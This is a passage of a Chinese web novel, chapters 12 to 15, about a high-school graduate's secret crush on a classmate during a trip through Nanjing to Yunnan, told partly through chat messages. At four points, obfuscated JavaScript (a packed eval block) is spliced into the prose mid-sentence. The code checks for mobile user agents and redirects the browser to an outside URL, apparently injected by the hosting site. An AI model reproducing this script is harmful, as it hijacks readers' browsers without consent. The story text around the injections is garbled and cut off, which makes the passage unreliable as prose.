乐知世和胡芮则更注重旅行体验感，而红眼航班根本休息不好，到了云南，她们大概率又困又累，肯定玩不开心。 双方谁也没能说服谁，好在四人都不是非要“吃住行全程绑在一起”的性子，索性两两分开出发，没人需要勉强将就。 乐知世和胡芮定了七月三十一号从南京飞丽江的机票。 巧的是，徐荷清她哥的行程恰好也是七月三十一号从南京出发。 不过因为没有直达大理的航班，他们要先飞昆明，再转机去大理。 【闭眼睛是在思考：哥，你们准备什么时候去南京？】 他们市里没有机场，还得先坐高铁到南京。 【XU：七月三十。】 【XU：提前一天过去，我们准备在南京转转。】 【闭眼睛是在思考：！】 【闭眼睛是在思考：我们也是！】 【闭眼睛是在思考：和我同行的女生，有朋友也要去云南，不过我们行程不一样，但在起飞前大家刚好能凑在一起。】 【闭眼睛是在思考：我当晚可以不当电灯泡，溜出来请你吃饭呀。】 【XU：你想要和我见面？】 12. 第 12 章 想要见面吗？ 两个人这才做了几天网友，按理说，正该是对对方好奇的时候。 但乐知世目前只把XU当作“工具人”，心里只有感谢，并不关心对方的长相。 不过人家都主动问是不是想要见了，乐知世的情商短暂上线。 【闭眼睛是在思考：想啊。】 【XU：我觉得你会放我鸽子。】 乐知世不知道他怎么会有这种想法。 【闭眼睛是在思考：我是一个诚实守信的爱国公民。】 【XU：要不要打个赌？】 【闭眼睛是在思考：赌什么？】 【XU：一张彩票。】 【XU：输了你给我买一张上次你买的彩票，叫什么？好运十倍？】 十块钱而已。 乐知世没有多想，只以为是自己的好手气得到了认可。 【闭眼睛是在思考：对，就是好运十倍。】 【XU：赌吗？】 【闭眼睛是在思考：来，我不可能输！】 等乐知世拖着二十四寸、重重的行李箱到了高铁站，她才知道徐荷清她哥是什么意思。 ——许树居然也在。 ——他觉得她会为了许树鸽掉他。 “知世，这里。”胡芮从收到乐知世“快到了”的消息，就站在二楼往下面的安检通道看，“我在这儿。” 乐知世站在下面冲她招招手，示意自己看见了。 安检结束，乐知世和行李箱一起站上扶梯时，她还在思考该怎么面对许树。 上次她尴尬地直接逃回房间，连送他出门都没好意思，现在再见面该说些什么呢？对不起吗？ 容不得她细想。 看上去长长的扶梯，十几秒就把她送到了他们跟前。 他们三人站在扶梯口处，周骐骐在那边拽胡芮的马尾，胡芮气得回头猛踩他脚，而许树就站在那里，什么都没干，只往扶梯上看着。 乐知世低着头看脚下，脑子里循环播放着恶梦般的画面。 短暂思考后的结果就是，她还是想逃避。 要不就当做什么都没发生过，她今天离他远远的？ 终点台阶快到了。 乐知世正要拎起一旁的行李箱离开扶梯，站在扶梯口的许树却先她一步，把行李箱从她身边拿走。 手落了空，乐知世来不及反应，就莫名其妙融入了进去。 胡芮挽着她的胳膊，已经开始畅想到云南的美妙体验：“……天美景美人美。我还带了拍立得，买了好几盒漂亮的相纸，到时候每天拍拍拍，把云南的美丽塞进我的世界里带走。” 乐知世应和：“好啊，到时候我帮你拍。” 她的目光还落在自己的行李箱上。 她和胡芮两手空空，臂弯亲昵地交缠着往前走。 而走在她们前面的周骐骐和许树，则是一人两个大行李箱。 胡芮和周骐骐的关系好，周骐骐帮胡芮拿行李箱还算说得过去。 但她和许树算怎么回事呢？他们俩又不熟。 高考结束那天，他们连点头之交都算不上，现在也不过是互相知道名字的程度。 等等，他应该记住她的名字了吧？ 乐知世对这件事都没有把握。 “小芮子，这边椅子都坐满了，没有空位，我们去肯德基那边等吧？”他们四人已经绕着检票口附近转了一圈儿。 他们到得早，距离发车时间还有四十多分钟，光这么站着也不是事儿。 胡芮不满他的称呼，抬脚踹他：“请叫我芮芮美少女！” 踹完懒得理夸张喊痛的周骐骐，转头看向乐知世，问她：“知世，去吗？” 乐知世点头：“去。” 今天为了起来赶车，乐知世牺牲掉早饭时间，选择多睡一会儿。 现在有地方能吃点东西，她自然应下。 而且，这也是她从许树手里救回行李箱的绝佳机会。 四个箱子被整齐放在拐角处，他们在旁边的桌子坐下。 高铁站里的肯德基选址很妙，刚好在他们检票口的斜上方，一个探头就能看见有没有到检票时间，绝不可能因为贪吃贪聊错过车次。 乐知世点了份套餐，其他三人则都只点了一杯饮料。 周骐骐故意装成熟，点了杯冰美式，结果喝了一口就被酸苦到皱巴着脸，厚着脸皮去抢胡芮手上的豆浆喝。 乐知世低头吃着帕尼尼，偶尔插几句嘴加入他们的聊天。 听着听着，她总算弄明白了许树为什么会在，又为什么只有他们两个男生。 本来周骐骐和许树同样也是四人出行，但临到出发，在商量租车的时候，另外两个男生才坦白他们在科四挂了，准备在家重新考一次，让周骐骐和许树再等他们十天。 可“十天又十天”，谁知道他们下次能不能过？ 许树和周骐骐便决定不等了，两个人直接出发。 “我真服了，科四也能挂！”周骐骐看上去生气又无语，“他们一看就是没认真刷题，真上路了估计也是马路杀手。” 乐知世听完周骐骐的吐槽，顺势问了句：“你们要租车？也准备在云南自驾吗？” 胡芮只和她说过周骐骐也去云南，没说其他细节。 周骐骐立刻炫耀道：“是啊，我和许树都很轻松地考过了，现在开车贼溜，小小自驾，拿捏。” 胡芮当场拆台：“哈哈哈哈哈，也就只有许树敢坐你的车吧。” 一直安静的许树在旁边淡淡补了句：“确实要命。” “再要命，你也得坐。”周骐骐磨着牙，他看向乐知世，让她主持公道，“知世，你看看这两人，就逮着我欺负！” 乐知世眼睛弯弯，说：“那我也得加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745706|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入他们了，周骐骐，你在云南可得好好练车啊。” “G7＊＊＊列车开始检票——” 车站的广播声适时响起，盖过了周骐骐的哀嚎。 他们的车开始检票，几人简单收拾好，等下面长长的队伍缩短到一半才起身去检票口。 乐知世早有准备，她特地选了个最靠近行李箱的位置，果然，她成功赶在许树伸手前拿到了自己的箱子。 她先拎着自己的行李箱下了楼，过完闸机后，便站在一旁等着其他人。 趁这间隙，乐知世给XU发了条消息。 【闭眼睛是在思考：你确定你不是和许树一起出行吗？你们俩的行程完全撞上了。】 四人的座位都是胡芮一起买的，前后排的D座和F座。 周骐骐跟在胡芮屁股后面上车，他下意识地坐在了胡芮旁边的位置，坐好后抬头，发现乐知世和许树正站在过道上盯着他，连忙跳起来：“不好意思啊，我坐习惯了。” 女生们坐在一起。 尽管只有一个多小时的车程，胡芮却做足了准备。 她提前下载好了几个综艺，从书包里掏出颈枕、一板娃哈哈奶、还有两包瓜子，样样齐全。 胡芮把吃的喝的到处分，还给乐知世分了一只蓝牙耳机。 综艺刚开始没多久，乐知世就感觉到自己手机振了下。 她稍微坐远了些，点开看新消息。 【XU：真巧。】 【XU：那你是希望我和他一起出行吗？】 明明是乐知世在问他，他还反问回来了。 【闭眼睛是在思考：当然不是，我就随便问一下。】 万一他们三人在南京碰面，那她喜欢许树的事情肯定藏不住，所以最好不要。 【XU：你不希望就不是。】 乐知世眨眨眼。 是就是，不是就不是。 干嘛总是那么幼稚，故意吊人胃口！ 【闭眼睛是在思考：别逗我玩。】 【XU：还没熟悉到可以一起旅行。】 【XU：但如果你需要我去当你的摄像头，我可以让不是变成是。】 乐知世盯着这条消息多看了几遍。 她觉得有点不对劲，但又说不上来哪里奇怪。 而身体比大脑先做反应。 “知世，你的脸好红。”胡芮关心道，“坐在窗边是不是很晒？你要不把遮光帘放下来？” “不用，我去趟洗手间。”乐知世站起来。 等她再回来，周骐骐坐在她原本的位置上。 细心的胡芮指挥家已经把座位重新划分，她安排男生坐在靠窗的位置。 所以，乐知世要和许树坐在一起。 “知世，这样安排怎么样？你行吗？”胡芮问她意见。 乐知世视线越过座椅，说：“许树行，我就行。” 13. 第 13 章 乐知世嘴上说着要看许树的意思，实则说完这句话就坐到了许树身旁。 他们前排的胡芮和周骐骐已经看上了综艺，许树身边的乐知世坐下后也从口袋里翻出了耳机戴着。 许树：“……”就多余问他。 乐知世表面淡定，实则紧张，戴上耳机隔绝掉许树的拒绝后，她手抖地点错歌单，舒缓的轻音乐变成红色经典曲目，不过听了几句，达成的效果是一样的。 ——她的心静了。 ——甚至想刷几道题。 ——好好学习，报效祖国。 不过在高铁上也没有刷题的条件，乐知世只能点开无聊时下的益智小游戏：数独趣味闯关。 “你平时靠玩这个放松大脑吗？” 乐知世没想到许树会和她闲聊。 她摘下一个耳机，正要回答，许树挑了下眉，又问：“喜欢听这么正能量的歌吗？” 乐知世缓慢地眨了下眼，手捂住有些泄音的那只耳机：“嗯。” 除了承认，她也不知道该说什么。 有点烦。 每次和许树面对面，她都有些手足无措，脑子像是缺了机油的链条，一卡一卡的，没办法顺滑地运转。 许树冲她笑了下：“难怪你学习成绩这么好。” 乐知世沉默了。 第一名夸第二名学习成绩好，不像是真心实意的夸奖，反而像是阴阳怪气的嘲讽。 虽然她心里清楚许树不是那种会拐弯儿说话的人，但这句话她真不知道该怎么接，仔细想了想，她说：“谢谢，你也是。” 许树想打破他们之间的那层壁。 他线上想让乐知世不喜欢自己，把他从未来伴侣的选择中淘汰掉；线下则想和乐知世熟悉起来，为他们未来的友情打下坚实的基础。 计划很完美，但乐知世很防备他。 许树已经无数次怀疑过：乐知世真的喜欢他吗？ 他抛出的每个饵，她都接不到。 就算接到了也会赶紧把它丢掉。 如果现在乐知世和他说她讨厌他，他反倒会觉得更像实话。 “很累吗？”许树不是内耗的人，他甩出一个直球，“感觉你好像不太想和我聊天。” 乐知世：！ 她表现得有这么明显吗？ 其实不是不想，而是怕说得太多，她怕藏不住对他的喜欢。 身边每一个知道她暗恋许树的人，都是因为她一时没忍住多说了几句，不小心泄漏的情报。 “当然不是。”乐知世先否认，她已经收起了耳机。 灵光一闪，她指了指旁边眯着眼睛的人，说，“别人在休息。” 许树顺着她的手指看过去。 大部分乘客都戴着耳机，他们这节车厢里有几个尚不能控制音量的孩子，在高低起伏的魔音压制下，他们俩刚刚的聊天音量，应该连前排耳尖的周骐骐都听不到。 不过，许树可以理解乐知世。 在学校时，她除了对他冷漠些，对其他同学都很热心，此刻她会考虑到别人的感受再正常不过。 于是，许树凑近她耳边，用只有乐知世一个人能听见的音量说：“好，等到了南京再聊。” 聊什么？ 他们俩有什么好聊的？ 许树身上是喷香水了吗？有点好闻。 乐知世靠近许树的那半边身体都僵硬了，她费力地转着脖子，贪心地猛吸一口，黑白分明的眼睛看着他，说：“你身上好香。” 许树深呼吸，迅速移开了身体。 “是哪家的香水吗？方便分享一个链接吗？”乐知世的声音又把许树的视线拉了回来，“挺好闻的，我想送人。” “没喷。”许树扯了扯自己的领子，低头闻了下，“我身上没味道。” 乐知世学他，忽然凑过去，在他耳边嗅了嗅。 她亲眼看见他耳尖上先红了一小块，然后迅速蔓延开来。 乐知世心里舒坦了。 看来人和人靠近就会有这些怪异的反应，不是因为她喜欢许树才有。 她退回原位：“是洗发水的味道，挺清新的，给我分享个链接？” 许树拒绝：“这款不好用，除了味道还行，其他都不怎么样，不适合送人。” 乐知世看了眼他的头发，没再说话。 许树好像被她刚刚吓到了，也不再执着地找她闲聊，闭着眼睛靠在座椅，一动不动，像个睡美男。 乐知世欣赏了一会儿，掏手机，跳过上面忽然断掉的话题，开始烦恼。 【闭眼睛是在思考：我发现了一个大问题。】 【闭眼睛是在思考：我在许树面前完全没办法放松，连话都不知道该怎么说。】 【闭眼睛是在思考：这样下去，我觉得我很难追到许树。】 XU没回，乐知世也不着急，她只是想倾诉，倾诉完情绪就没了。 她戴上耳机，听着“红星闪闪放光彩”，脑袋一歪，真睡着了。 肩膀感受到重量，许树睁开眼，单手把她的脑袋扶好，让她睡得更舒服。 他看向窗外飞速掠过的风景，开始反思：他是不是该越过打基础这一步，直接告诉她，他想和她做朋友，更快速有效？ …… 高铁准点到达。 乐知世听见播报声时就醒了，她心里砰砰跳得厉害，没想到睡着的自己这么争气，还知道往喜欢的那边靠。 不过万一许树是醒着的，就有些尴尬了。 她假装自然地把脑袋歪到另一边，坚持到胡芮喊她，她才揉揉眼睛站起来。 下了高铁，他们先坐地铁去酒店放行李。 轻微晃荡的地铁车厢挤满了人，站着都很艰难。 “南京怎么那么多人？”他们明天要坐S1号线去机场，所以酒店定在南京南站附近，就一站路的地铁把他们挤得够呛。 “放暑假吧。”胡芮又拿出那天商场人多的说辞，但换了花样，“大家都带小孩子来南京玩了。” 等到他们出站，才发现不是南京人多，是南京南站人多。 “下午去红山动物园玩怎么样？”周骐骐提建议，“天气热得要死，动物园里肯定没人。” 胡芮对动物园没兴趣：“我想去玄武湖游船。” 他们只有半天时间，并且都不想搞特种兵那套，只能选择一、两个景点精玩。 但时间少不是最大的难题，最大的难题是热。 出了地铁站，那热气就包裹住了所有人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745707|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来还在争到底去哪儿玩的胡芮和周骐骐都安静了，四人走得飞快。 酒店就在地铁口，办理完入住，他们还没缓过来。 周骐骐：“好热。” 胡芮点头：“确实。” 乐知世拿着前台给的花茶，一饮而尽，喝完视线偷偷扫过许树，发现他正小口抿着，动作斯文。 而他们三个热得满头大汗，喝完一杯又要一杯。 乐知世觉得许树像个假人，他竟然不流汗的。 等她感慨完，再转头，胡芮和周骐骐都在看着她。 “知世——”胡芮拖长音调喊她。 她的喜欢又被发现了吗？乐知世心里忐忑。 “天气好热哦——”胡芮心虚地眨眼，“要不下午就在酒店待着？等傍晚直接去玄武湖游船？怎么样？” 周骐骐附和：“好热好热好热。” 两个在路上喊得最嗨的人先打退堂鼓了，当然不好意思。 乐知世其实都行：“可以啊，你们在酒店休息，我下午自己出去转转。” 她一个人玩也没问题的。 “自己转多没意思啊，都没人帮你拍照。”周骐骐站在胡芮身边，非常讲义气地把不怕热的好兄弟推了出去，“让许树给你拎包拍照。” 乐知世客气道：“不用。” 她下午可是想去鸡鸣寺求姻缘的，直接带上许树，这算是炫耀吧？ 万一观音和月老误会，不帮忙怎么办。 许树将手里的一次性纸杯扔进垃圾桶：“我和你一起去。” “真不用麻烦你。”乐知世说，“我一个人玩也行。” 许树点点头：“我一个人不太行，需要你帮忙。” 他说得大大方方，但另外三个人听完都安静下来。 乐知世率先打破沉默，看上去有些勉强地答应：“那一起。” 商量好下午的行程，他们才进电梯。 前台给了他们两个相邻的标间，串门很方便。 乐知世放好行李，就躲进卫生间，向XU求救。 【闭眼睛是在思考：啊——我要疯了。】 【闭眼睛是在思考：我下午要和许树去约会了[害羞]。】 【XU：可能他也一样。】 引用了乐知世在高铁上发的那条没办法放松的消息。 是在回答她之前的话。 【XU：约会？真的假的？】 他们不是搭伴同游吗？她是怎么理解成约会的？ 乐知世被质疑了也不在意。 【闭眼睛是在思考：真的，但我不知道该怎么和许树相处，哥，给点建议。】 【XU：……就当它是真的。】 【XU：你把他当成朋友相处就行，别总想着自己喜欢他的事情，应该就会轻松自在很多。】 乐知世觉得有道理。 【闭眼睛是在思考：那我试试。】 【闭眼睛是在思考：不过我本来是准备去鸡鸣寺的，和许树一起去是不是不合适？我在考虑换个地方，哥，你有什么推荐吗？】 乐知世这次等了几分钟，才收到新消息。 【XU：鸡鸣寺很好，没什么不合适的。】 【XU：就去这个。】 14. 第 14 章 人从众。 乐知世站在鸡鸣寺外，掏出手机扫了眼天气预报。 三十五度的高温天，游客是一点儿没少，甚至还在排着队往前面那处涌，简直可怕。 许树似乎看出她有些想打退堂鼓，站在她身后，把退路挡住，说出那句能硬控国人的四字真言：“来都来了。” 乐知世：“……”谁能抵抗住这四个字？ 他们没在网上购票，选择在现场购买纸质票。 虽然麻烦些，但乐知世就喜欢收藏这些东西，她家里有一个厚厚的本子，装满了她去过、玩过的痕迹。 本质上，这和胡芮想用拍立得记录是一样的。 验过票，他们跟着人群到了领香处。 一张票三根香十块钱。 乐知世觉得挺划算。 不过人太多，再这么走下去他们很容易被人群冲散。 在征得乐知世的同意后，许树干脆拽住她的斜挎包包带。 这样挤不散，但难免会在拥挤时接触到。 这个天气，皮肤碰到都是黏黏腻腻的汗感，再加上周围不知道是谁身上的汗味，这样的接触，半点粉红泡泡都冒不出来。 所以两个人都没有在意逐渐越线的触碰。 拥挤到了大殿里才好些。 许树松开乐知世，克制地拉开一步的距离。 “台阶好多。”乐知世的脚没动，往殿外看了眼。 他们站在殿里还能听到外面广播里的声音。 ——“寺内单向通行，不走回头路。” 许树站在她身旁不远处，盯得很紧：“你想挑战广播里的那句话？” “怎么可能？”乐知世瞪圆了眼，“呸呸呸，你别乱说，我心很诚的。” 确实心诚。 乐知世都急得忘了紧张，直接冲着许树“呸呸呸”。 等她想起要在喜欢的人面前做好形象管理时，他们已经从刚刚那个殿里出来了。 “哪个殿是求桃花的？”许树手上捏着只剩半瓶的矿泉水，随口问道。 还在懊悔的乐知世瞬间从情绪中脱离，秒答：“观音殿。” 她是提前做过功课的好学生。 乐知世本来对别的无所求，所以她真正想去的目的地只有一个：观音殿。 但她想求的桃花就在身边，她便没好意思直说自己只想求姻缘，和许树进来后，跟着游客大部队瞎逛，浪费了不少时间。 许树拧开瓶盖，喝了一口水，又从口袋里拿出另一瓶递到乐知世面前：“直接去观音殿，去完就走吧。” 他拧拧眉，大概忍了很久：“人太多，人味太重。” 那确实是没有许树身上的味道好闻。 乐知世没意见：“好。” 走到半路，她才慢半拍地意识到不对劲。 ——她是去求她和许树的姻缘。 ——许树要去观音殿求什么呢？ 意识到这点后，乐知世求姻缘的诚心起码减了一半。 她连拜的时候都在偷瞄身旁闭着眼睛的许树。 好想问。 但不能问。 主要是不熟。 心不在焉地拜完观音，乐知世找了个机会向她的助攻XU打听。 【闭眼睛是在思考：许树是不是有喜欢的人了？】 鸡鸣寺和玄武湖离得不远。 从鸡鸣寺的出口处步行过去也就才几分钟。 他们和胡芮、周骐骐约好碰面的时间是下午四点半。 直接在玄武湖见。 但还有一个小时才到约好的时间。 再去别的地方时间不够，路过城墙，他们没怎么犹豫，便花钱买票上去消磨时间。 城墙上面的人没有鸡鸣寺那么多，站在城墙上，既能看见鸡鸣寺又能看见玄武湖。 乐知世短暂放下心中的小情小爱，把许树求姻缘的事儿抛在脑后。 “许树，你能帮我拍张照片吗？”乐知世递出自己的手机。 年轻的少女是不需要任何修饰也亮眼的存在。 但男生的拍照技术，是不经过苦练和学习，绝无出片的可能。 乐知世看了眼照片里惨不忍睹的刘海，硬挤出一个笑容：“许树，你应该在拍照前提醒我刘海乱了。” 许树垂下眼，看的不是照片，是本人，语气带着些疑惑：“这不是你弄好的造型吗？” 乐知世大惊，脑子自动翻译这句话：“你的意思是，我从出门时就是这样？” 许树点点头。 这下许树求姻缘的事儿彻底不重要了，乐知世从包的角落里翻出黑色发卡，把刘海一股脑地掀了上去。 不流汗时确实蓬松可爱，但流汗就变成三毛同款发型了，乐知世后悔剪它了。 她把手机递出去，不信邪地说：“再来一张。” 少女张开双手，两只手像是在触碰着鸡鸣寺和玄武湖。 它们通过她相连，宽广、无尽。 最后这张照片出现在了乐知世的朋友圈。 完美地总结了此次短暂的南京行。 他们四人游船结束后，绕着玄武湖走了一圈儿。 所有人都在慢悠悠地享受着夏天的晚风。 乐知世是在回到酒店，看见XU的消息，才想起来她把他忘记了。 【XU：没有。】 是在回答她许树没有喜欢的人。 在四人游船时，XU发过来第二条消息。 【XU：不是说要请我吃饭吗？去哪里？】 在四人吃饭时，XU发来最后一条消息。 【XU：你输了。】 乐知世试图挽救。 【闭眼睛是在思考：没输！】 【闭眼睛是在思考：哥，我是准备请你吃夜宵，带你感受下南京的夜生活！】 对面淡定发过来两条疑问。 【XU：南京有什么夜生活？】 【XU：夜爬紫金山吗？】 乐知世在找附近营业中的餐厅。 但十点过后，只有烧烤摊和夜市还在开。 【闭眼睛是在思考：爬山就算了。哥，去夜市怎么样？有小龙虾、烤鸡腿、麻辣烫、炸串臭豆腐……可以allin。】 【闭眼睛是在思考：我都给你买。】 【XU：……你请我吃饭是想谢我，还是为了赢？】 【XU：太晚了，吃完这些我今晚不用睡了。】 乐知世想起徐荷清对她哥的描述，不用分析就能感觉到XU是很在乎外表的人。 再说了，她还不知道他新割的双眼皮有没有恢复好呢，请他大半夜去吃那些高油高碳的美食，确实有些恩将仇报。 【闭眼睛是在思考：那下次一定。】 【闭眼睛是在思考： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16745708|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等你妹妹回来了一起，我请你们吃最贵的！】 【XU：下次的事下次再说。】 【XU：你输了。】 【XU：彩票。】 【闭眼睛是在思考：哥，我现在买了也没办法给你啊。】 他们入住的这家酒店旁边的地铁站里就有自助彩票机，乐知世看见过。 【闭眼睛是在思考：要不等见面的时候再给你买？】 【XU：彩票就放在你住的酒店前台，你给我发个地址，我明天走之前会过去拿。】 【闭眼睛是在思考：也行。】 放下手机，许树进浴室冲了个澡。 水流滑下来的瞬间，他在想，他为什么一定要让乐知世给他买彩票？ …… 乐知世的动作很快，主要是酒店和地铁站离得近，来回五分钟。 她买了两张，自己站在那里刮了一张，没中奖。 今天手气不佳，但或许是因为刚去过鸡鸣寺，桃花真有点盛开的预兆。 她在酒店大堂遇见了许树。 “许树，你怎么在这里？”乐知世没辜负上天赐给她的机会，她主动走过去和许树搭话，“已经很晚了。” 许树一副刚洗完澡的样子，他的头发还没有彻底干透，乖顺地按照主人手抓过的痕迹停下。 赏心悦目。 “在等外卖。”许树坐着，视线比她略低，所以抬头看着她，问，“中奖了吗？” “嗯？”乐知世愣了一瞬，很快就反应过来他是在说她手上的刮刮乐。 她刚看见许树就走了过来，还没有把刮刮乐寄存到前台。 “不知道，这是给别人买的。” 许树“嗯”了一声，说：“没什么事，就早点上楼休息吧。” 话题就这么结束，乐知世找不到留下的理由。 她和他说了晚安，把彩票放在前台那里后，就走进了电梯。 电梯门将要合上的瞬间，乐知世注意到在等外卖的许树站了起来。 是他的外卖到了吗？ 早知道就再聊一会儿，他们还能一起坐电梯上楼。 …… 四人的起飞时间不同。 女生们的比男生们的晚两个小时。 周骐骐和许树早上过来敲门时，她们还在睡。 胡芮先被吵醒，打开门骂了周骐骐一通，接过他们在外面打包的早饭，“砰”地把门关上。 乐知世在被子里躺着，听见关门声，才坐起来：“他们走了？” “走了。”胡芮打了个哈欠，“送过来两盒鸭血粉丝汤，还有……” 她翻了下袋子：“锅贴和汤包。” “这是把我们当猪吗？买那么多？”胡芮把东西放在桌上，拿起手机，飞速地敲着屏幕，大概是在骂周骐骐浪费。 乐知世看到了桌上的分量，也想笑：“可能是给我们带到路上吃的。” 胡芮先去洗漱，乐知世穿上衣服。 她昨晚在电梯里时，便给XU发了酒店地址。 今天一大早，她就收到了XU发过来的照片。 【XU：拿到了。】 照片里的刮刮乐被放在白色的被子上，上面银色的膜仍在。 他还没刮。 乐知世放大照片一角。 【闭眼睛是在思考：你和我住的好像是同一家酒店。】 15. 第 15 章 “你是不是喜欢知世？”许树听见这句话的同时，看见了乐知世发给他的消息。 南京南站是S1号线的第一个站点，车厢里没有昨天那么多人，但也几乎坐满了。 许树侧过头，大概是被周骐骐的话无语到，微皱眉头：“你在胡乱说些什么？” “我哪有乱说。”周骐骐指着自己的眼睛，“我是亲眼看见了。” 许树眸光闪了下，他抵住身后的背包，问：“你看见什么了？” “昨晚，我看见你跟在知世身后下楼了。”周骐骐说，“我还从窗户那里看见，你一直跟着她进了地铁站。” 他声音压低：“我警告你啊，知世是小芮子的朋友，你就是有坏心思也得给我忍下去，否则我们绝交。” 他叽里咕噜又说：“喜欢就大大方方追，干嘛做这些小动作。” “这句话送给你自己。”许树还在思考该怎么回复乐知世，“我不喜欢乐知世，但你喜欢胡芮，喜欢得太明显了。” 周骐骐直接变结巴：“我怎么、怎么可能喜欢小芮子！她那么凶！凶巴巴的！我以后找女朋友要找、找温柔的。” “哦。”许树像是随口一说，并不关心周骐骐的感情状况。 周骐骐独自脸红了一会儿，才意识到许树是在岔开话题。 “快点从实招来，你昨晚跟着知世干什么？” 许树头也不抬：“碰巧，晚上不安全，就陪了一段路。” 周骐骐勉强相信了，但他还是感觉许树对乐知世有些不一样。 “真不喜欢啊？我总觉得你对她挺好的，在她面前嘴不毒了，人也好说话。” “我对你不好？”许树把乱编的理由删掉，说，“你让我送人回家我就送，你让我陪人玩我就陪。” 周骐骐挠挠头，恍然大悟，原来都是为了他。 “好哥们！” 许树嫌弃地把他推开。 【XU：好像是吧。】 【闭眼睛是在思考：……？】 【XU：是。】 【闭眼睛是在思考：那昨晚为什么不说？】 【XU：怕你吓到。】 乐知世想了想，如果昨晚她是在电梯里知道这个消息，好像真的有点可怕。 但她嘴硬。 【闭眼睛是在思考：这有什么可被吓到的，我胆子大得很，再说了，你又不知道我的房间号。】 【XU：你怎么能确定我不知道？】 “咳咳。”乐知世将头转到另一边，打了个喷嚏才好些。 胡芮抽了张纸递给她：“你那碗是辣的吗？” 她们在吃鸭血粉丝汤。 “不是。”乐知世放下手机，说，“收到了一条让人毛骨悚然的消息。” 胡芮吸了一口粉丝：“毛骨悚然？那肯定是考试成绩。” 她一笑：“哈哈哈，不过我们再也不用考试了。” 胡芮的冷幽默让乐知世笑出声：“上了大学也要考。” “我表哥说了，大学不挂科就行。”胡芮耸耸肩，“而且再累也不可能比高中还累。” 那倒是。 他们不会再有更累的三年，也不会再有如此漫长的暑假。 【闭眼睛是在思考：哥，碟中谍没请你来演，实在是太可惜了。】 许树丢过去一张小猫撇嘴，打开了飞行模式。 飞机落地丽江。 三义机场比浦口机场小很多，自带厚重的年代感。 乐知世坐在机场卫生间外的那排凳子上等胡芮。 她刚刚把胡芮在飞机上拍到的山发给了XU。 在机舱的颠簸里连上网时，她先收到了XU拍的照片。 礼尚往来，乐知世便问坐在窗边的胡芮要了照片发过去。 【XU：好看吗？】 乐知世再次点开那张他发过来的照片，看了挺长时间。 【闭眼睛是在思考：无敌爆炸好看。】 虽然夸张，但说的是实话。 这么插在云朵里的山，对于他们而言总归是不常见，不常见的东西就招人稀罕。 胡芮出来时，乐知世还在拿着手机看照片，她走过去，把冰凉的手贴在知世的脸上：“走啦。” 她们报的这个团有接机服务，提前一天到也有。 不过司机小哥普通话一般，乐知世和胡芮费了一番功夫才听懂他的指挥，在处处是车的路上找到他。 可能是因为丽江是阴天，窗外的一切都像蒙了一层灰。 胡芮挺失望：“怎么感觉还没有在飞机上看到的美？” “这还在路上呢。”乐知世翻看着群里的行程，“好风景在后面。” 司机小哥在前面接话，重复了几遍才让后座的两个女生听懂。 “最近天气不好，这里的景色美不美要看老天赏不赏脸。” 胡芮立刻去看最近一周的天气预报，不是阴天就是下雨，这简直是噩耗：“好倒霉。” “老天的脸变得比谁都快。”司机小哥安慰她们，“上一秒下雨，下一秒放晴在这里都是常有的事情。” 等她们从车子上下来，丽江的太阳又跑出来了。 从后备箱里搬行李的司机小哥露出白牙：“幸运女孩。” 旅行团的行程还没正式开始，天晴的丽江古城属于自由的她们。 一个下午，胡芮用完了一盒拍立得相纸。 晚上坐在床上整理照片的时候，她还在可惜拍少了。 【XU：终于到大理了。】 乐知世看见了，但没立刻没回，她在和胡芮讨论晚上那顿牦牛肉火锅。 口感独特，是在平原上吃不到的味道。 一个话题结束，另一个话题又起来。 只要她们想，她们有无数说不完的话。 “顺琪和佑佑现在才准备登机。”胡芮佩服她们的精力，“到这边估计得凌晨了。” 她们的行程是从明天早上八点正式开始，第一站是虎跳峡，想想就不轻松。 “确实有点晚。”乐知世回应完胡芮，又在群里问她们：“这么晚还有接机服务吗？” 得到了肯定的回答后，她才取消掉凌晨两点的闹钟。 两人洗漱好，躺在床上刷手机。 房间短暂安静一会儿，胡芮忽然从床上坐起来：“周骐骐他们在大理的第一站居然是酒吧。” 丽江古城里也有不少酒吧，下午的时候就有歌手在二楼里抱着吉他唱民谣揽客，她们站在下面听了两首就走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 